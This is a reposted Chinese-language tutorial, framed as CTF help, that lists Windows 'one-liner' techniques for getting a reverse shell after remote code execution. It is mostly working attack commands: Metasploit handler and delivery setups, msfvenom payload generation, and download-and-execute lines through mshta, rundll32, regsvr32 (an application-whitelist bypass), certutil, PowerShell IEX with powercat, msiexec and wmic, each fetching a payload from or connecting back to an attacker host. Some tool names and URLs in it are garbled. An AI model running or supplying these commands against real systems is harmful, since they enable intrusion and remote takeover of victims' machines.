本文內容非常有助於那些參加CTF的人,因爲今天我們將討論“Windows One-Liner”,即使用PowerShell或rundll32等惡意命令來獲取Windows系統的反向shell。通常,在濫用HTTP服務或其他程序時,我們會獲取到RCE漏洞。 這個漏洞將允許你遠程執行任意的系統命令。因此,我們準備了一個Windows命令列表,讓你能夠使用目標機器來獲取反向連接。

Mshta.exe

mshta.exe是微軟Windows操作系統相關程序,英文全稱Microsoft HTML Application,可翻譯爲微軟超文本標記語言應用,用於執行.HTA文件。我們可以運行Java或VB的HTML文件。你可以使用Microsoft MSHTA.exe工具解析這些文件。

Metasploit包含一個生成惡意hta文件的“HTA Web Server”模塊。該模塊託管HTML應用程序(HTA),打開時將通過Powershell運行payload。當用戶導航到HTA文件時,在執行payload之前IE將提示兩次。

use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit

現在,讓我們通過受害者機器上的mshta.exe(易受RCE攻擊)運行惡意代碼以獲取meterpreter會話。

一旦你在遠程機器上成功執行了惡意hta文件,你將在本地計算機(Kali Linux)上獲得一個反向連接。

mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta

如下所示,我們成功獲取到了受害者機器的meterpreter會話:

Rundll32.exe

Rundll32.exe與Windows系統相關聯,允許你調用從DLL導出的函數(16位或32位)並將其存儲在適當的內存庫中。

通過Metasploit的SMB Delivery啓動Rundll32攻擊

Metasploit還包含了生成惡意dll文件的“SMB Delivery”模塊。該模塊通過SMB服務器提供payload,並提供檢索和執行生成payload的命令。目前支持DLL和Powershell。

use exploit/windows/smb/smb_delivery msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109 msf exploit(windows/smb/smb_delivery) > exploit

現在,讓我們通過受害機器上的rundll32.exe運行惡意代碼(易受RCE攻擊)以獲取meterpreter會話。

一旦你在遠程機器上成功執行了dll文件,你將在本地計算機(Kali Linux)上獲取到一個反向連接。

rundll32.exe \\192.168.1.109\vabFG\test.dll,0

如下所示,我們成功獲取到了受害者機器的meterpreter會話:

Regsvr32.exe

Regsvr32命令用於註冊COM組件,是Windows系統提供的用來向系統註冊控件或者卸載控件的命令,例如Windows註冊表中的DLL和ActiveX控件。Regsvr32.exe安裝在Windows XP及更高版本Windows的%systemroot%\System32文件夾中。

RegSvr32.exe具有以下命令行選項:

Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]]

/u – 取消註冊服務器

/i – 調用DllInstall傳遞一個可選的[cmdline];當它與/u一起使用時,它會調用dll來卸載

/n – 不要調用DllRegisterServer;此選項必須與/i一起使用

/s – 靜默;不顯示消息框

通過Metasploit的 Web Delivery啓動Regsvr32

該模塊將快速啓動一個爲payload提供服務的Web服務器,並提供下載和執行的命令。它將通過指定的腳本語言解釋器或“squiblydoo”通過regsvr32.exe,繞過應用程序白名單。此模塊的主要目的是在攻擊者必須手動鍵入命令時,在目標計算機上快速建立會話:如,命令注入。

Regsvr32使用“squiblydoo”技術繞過應用程序白名單。簽名的Microsoft二進制文件Regsvr32能夠請求.sct文件,然後在其中執行包含的PowerShell命令。兩個Web請求(即.sct文件和PowerShell下載/執行)都可以在同一端口上發生。“PSH(Binary)”會將文件寫入磁盤,允許自定義二進制文件被下載/執行。

use exploit/multi//web_delivery msf exploit (web_delivery)>set target 3 msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.1.109 msf exploit (web_delivery)>set srvhost 192.168.1.109 msf exploit (web_delivery)>exploit

複製以下框中的文本

一旦你在遠程機器上成功執行了scrobj.dll文件,你將在本地計算機(Kali Linux)上獲取到一個反向連接。

regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

如下所示,我們成功獲取到了受害者機器的meterpreter會話:

Certutil.exe

Certutil.exe是一個命令行程序,作爲證書服務的一部分安裝。 我們可以使用它在目標計算機上執行我們的惡意exe文件,以獲取meterpreter會話。

通過Msfvenom啓動certutil攻擊

使用msfvenom生成惡意可執行(.exe)文件,並啓動multi/handler以獲取受害者計算機的反向shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

現在,使用certutil轉儲配置信息或shell.exe文件。你可以遵循以下語法:

Syntax: [-f] [-urlcache] [-split] Path of executable file certutil.exe -urlcache -split -f //192.168.1.109/shell.exe shell.exe & shell.exe

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.109

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

如下所示,我們成功獲取到了受害者機器的meterpreter會話:

Powershell.exe

你可以使用PowerShell.exe,或從其他工具(如Cmd.exe)啓動PowerShell會話,或是在PowerShell命令行中使用它來啓動新會話。有關詳情你可以閱讀Microsoft windows官網上的內容。

通過Powershell啓動Powercat攻擊

Powercat是一個PowerShell native backdoor listener和reverse shell,被稱之爲netcat的修改版,因爲它集成了payload編碼,msfvenom會這麼做,並且還有一個客戶端到客戶端中繼,允許連接兩個獨立的偵聽器。

在本地計算機上下載PowerShell,然後使用python HTTP server傳輸powercat.ps1以獲取目標機器的反向shell,並啓動netcat偵聽器。

git clone //github.com/besimorhino/powercat.git python -m SimpleHTTPServer 80

然後,在遠程端執行以下命令獲取netcat會話。

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('//192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"

如下所示,我們獲取到了受害者機器的netcat會話:

Batch File

同樣,PowerShell允許客戶端執行bat文件,因此讓我們使用msfvenom生成惡意批處理文件,並啓動netcat監聽器。如下所示:

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat

然後,在遠程端執行以下命令獲取netcat會話。

powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('//192.168.1.109/1.bat'))

如下所示,我們獲取到了受害者機器的netcat會話:

C

同樣,PowerShell允許客戶端執行c.exe來運行wsf,js和vb,因此讓我們使用msfvenom生成惡意bat文件,並啓動multi/handler作爲偵聽程序。如下所示:

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs

然後,在遠程端執行以下命令獲取meterpreter會話。

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('//192.168.1.109/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\c.exe \"$env:temp\test.vbs\""

use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit

如下所示,我們成功獲取到了受害者機器的meterpreter會話:

Msiexec.exe

我們知道Windows操作系統安裝了Windows Installer引擎,MSI Package使用該引擎來安裝應用程序。解釋包和安裝產品的可執行程序是Msiexec.exe。

通過msfvenom啓動msiexec攻擊

讓我們使用Windows Meterpreter payload生成一個MSI Package文件(1.msi),並啓動multi/handler作爲偵聽程序。如下所示:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi

一旦你在遠程機器上成功執行了1.msi文件,你將在本地計算機(Kali Linux)上獲取到一個反向連接。

msiexec /q /i //192.168.1.109/1.msi

use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit

如下所示,我們成功獲取到了受害者機器的meterpreter會話:

Wmic.exe

wmic.exe是WMI 命令行,作爲Windows XP的一部分發布的WMI命令行工具 (wmic.exe) 提供一個到WMI基礎結構的命令行接口。可以使用wmic.exe執行來自命令行的常見WMI任務,包括瀏覽CIM和檢CIM類定義。

通過Koadic啓動Wmic.exe攻擊

現在,將在koadic的幫助下生成惡意XSL文件,這是一個命令和控制工具,與Metasploit和Powershell Empire非常相似。有關詳情請參閱:https://www.hackingarticles.in/koadic-com-command-control-framework/

安裝完成後,你可以運行./koadic文件來啓動koadic,並加載stager/js/wmic stager。運行以下命令並設置SRVHOST,其中stager應調用home。

use stager/js/wmic set SRVHOST 192.168.1.107 run

執行WMIC的以下命令從遠程服務器下載並運行惡意XSL文件:

wmic os get /FORMAT:"//192.168.1.107:9996/g8gkv.xsl"

一旦惡意XSL文件在目標機器上成功執行,就會獲取到一個Zombie連接。

*參考來源:hackingarticles,FB小編secist編譯,轉載請註明來自FreeBuf.COM

聲明:該文觀點僅代表作者本人,搜狐號系信息發佈平臺,搜狐僅提供信息存儲空間服務。
相關文章